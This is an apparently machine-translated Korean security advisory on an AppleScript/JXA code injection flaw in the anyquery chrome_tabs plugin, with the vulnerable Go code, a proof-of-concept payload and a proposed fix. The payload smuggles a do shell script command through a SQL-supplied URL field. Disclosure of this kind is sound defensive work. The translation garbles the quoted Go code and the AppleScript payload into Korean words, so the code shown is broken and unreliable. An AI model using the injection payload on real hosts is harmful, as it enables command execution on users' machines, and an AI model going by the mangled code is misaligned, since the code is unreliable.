Anyquery: macOS Chrome 플러그인에서 이스케이프되지 않은 URL을 통해 AppleScript/JXA 코드 삽입
| 필드 | 가치 |
|---|---|
| 저장소 | julien040/anyquery |
| 영향을 받는 버전 | 0.4.4(0abd460 커밋) |
| 취약점 | CWE-94 — 부적절한 코드 생성 제어 |
| 심각도 | 높음 |
chrome_tabs 플러그인(및 이에 상응하는 Brave/Edge/Safari 변형)은 plugins/chrome/tabs.go:141에서 fmt.Sprintf(newTabScript, url)을 통해 SQL 제어 url 값을 이스케이프 없이 AppleScript 템플릿에 직접 삽입한 다음 결과를 exec.Command("osascript", "-e", ...)에 전달합니다. 로컬 CLI 액세스가 필요한 SQL INSERT INTO chrome_tabs 문을 실행할 수 있는 인증된 모든 쿼리 사용자는 줄바꿈이 포함된 페이로드로 {URL:"..."} 속성 레코드에서 벗어나 do shell script를 포함한 임의의 AppleScript 문을 삽입하여 macOS 호스트에서 OS 수준 명령 실행을 달성할 수 있습니다. 동일한 패턴이 JXA setURL.js 스크립트를 통해 tabs.go:169에 있는 Update 경로에 적용됩니다.
plugins/chrome/tabs.go:141 — SQL 제공 url이 AppleScript 템플릿에 이스케이프되지 않고 보간된 후 osascript -e를 통해 실행됩니다.
``가다 func (t *tabsTable) Insert(rows [][]인터페이스{}) 오류 { _, 행 := 범위 행 { url := "chrome://newtab/" rawURL인 경우 ok := row[2].(string); 알았어 { url = 원시URL }
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
출력, 오류 := cmd.CombinedOutput()
오류가 있는 경우 != nil {
return fmt.Errorf("osascript를 실행할 수 없습니다: %W (메시지: %s)\n 스크립트: %s", 오류, 출력, fmt.Sprintf(newTabScript, url))
}
}
0을 반환
}
`plugins/chrome/tabs.go:169` — `Update` 경로는 동일한 이스케이프 기능이 없는 JXA `setURL.js` 템플릿에 `url`을 삽입합니다.
``가다
만약 URL != "" {
cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
출력, 오류 := cmd.CombinedOutput()
오류가 있는 경우 != nil {
return fmt.Errorf("osascript를 실행할 수 없습니다: %W (메시지: %s)\n 스크립트: %s", 오류, 출력, fmt.Sprintf(setURLScript, pk, url))
}
}
SQL INSERT url 열(행[2])은 tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", <injected script>)를 통해 tabs.go:141에서 흐릅니다.
1단계 — SQL을 통해 개행 포함 URL을 삽입합니다. 생성된 AppleScript는 {URL:"..."} 속성 레코드를 닫고 삽입된 do shell script "id" 블록을 추가합니다. 이 블록은 그대로 osascript -e에 전달됩니다.
``배쉬 docker build -f Dockerfile -t anyquery-vuln001 . docker run --rm anyquery-vuln001 'x"} 끝 말하다 쉘 스크립트 "id"를 수행하십시오 애플리케이션에 "Google Chrome"을 알려주세요. {URL:"완료' 속성으로 새 탭 만들기
``텍스트
해당 SQL: INSERT INTO chrome_tabs(url) VALUES('<INJECT_URL>')
여기서 INJECT_URL =
x"}
끝 말하다
쉘 스크립트 "id"를 수행하십시오
애플리케이션에 "Google Chrome"을 알려주세요.
{URL:"완료" 속성으로 새 탭 만들기
``텍스트 [sink:tabs.go:141] osascript -e에 전달된 스크립트: 애플리케이션에 "Google Chrome"을 알려주세요. {URL:"x"} 속성으로 새 탭 만들기 끝 말하다 쉘 스크립트 "id"를 수행하십시오 애플리케이션에 "Google Chrome"을 알려주세요. 첫 번째 창의 탭 끝에 {URL:"done"} 속성이 있는 새 탭 만들기 끝 말하다 [mock-osascript] 수신된 스크립트: 애플리케이션에 "Google Chrome"을 알려주세요. {URL:"x"} 속성으로 새 탭 만들기 끝 말하다 쉘 스크립트 "id"를 수행하십시오 애플리케이션에 "Google Chrome"을 알려주세요. 첫 번째 창의 탭 끝에 {URL:"done"} 속성이 있는 새 탭 만들기 끝 말하다
결과: 통과 — 주입 페이로드가 osascript -e 그대로 도달했습니다. 생성된 스크립트에 "do shell script "id""가 있습니다(tabs.go:141).
첨부 파일 보기: Dockerfile, poc/inject_demo.go, poc/go.mod
[vuln-001.zip](https://github.com/user-attachments/files/27945214/vuln-001.zip)
## 영향
'chrome_tabs' 가상 테이블에 대해 SQL을 실행할 수 있는 anyquery CLI에 인증된 모든 로컬 사용자는 anyquery 프로세스의 권한을 사용하여 macOS 호스트에서 임의의 OS 명령 실행을 달성할 수 있습니다. Anyquery는 HTTP 서버(엔드포인트에 도달할 수 있는 모든 사용자가 액세스 가능)를 통해 SQL 인터페이스를 노출하기 때문에 Chrome 자격 증명이나 macOS 관리자 권한 없이도 브라우저 탭 플러그인에 대한 INSERT 또는 UPDATE 액세스 권한이 있는 모든 클라이언트에서 이를 악용할 수 있습니다. 주입된 AppleScript는 사용자의 macOS 세션에서 실행되어 파일 시스템, 키체인 프롬프트 및 Apple Events를 통해 스크립트 가능한 모든 응용 프로그램에 대한 액세스를 제공합니다.
## 해결
보간하기 전에 `url` 값에서 큰따옴표와 개행 문자를 이스케이프하거나 문자열 템플릿을 완전히 피하세요. 특히 `plugins/chrome/tabs.go`에서:
``가다
// fmt.Sprintf(newTabScript, url)을 다음으로 대체합니다:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))
보다 강력한 수정 방법은 스크립트 본문에 문자열을 삽입하는 대신 -e 접두사 인수를 통해 선언된 AppleScript 변수로 URL을 전달하거나 osascript argv 메커니즘을 사용하여 URL이 스크립트 소스 내에 표시되지 않도록 하는 것입니다. Update 경로에 대해 tabs.go:169에 있는 fmt.Sprintf(setURLScript, pk, url)에 동일한 수정 사항을 적용합니다. URL을 핸들러에 전달하기 전에 URL이 허용된 체계(https://, http://, chrome://)를 준수하는지 확인하세요.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 90.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 90.00 |
VPI 공식 vpi-v1 기준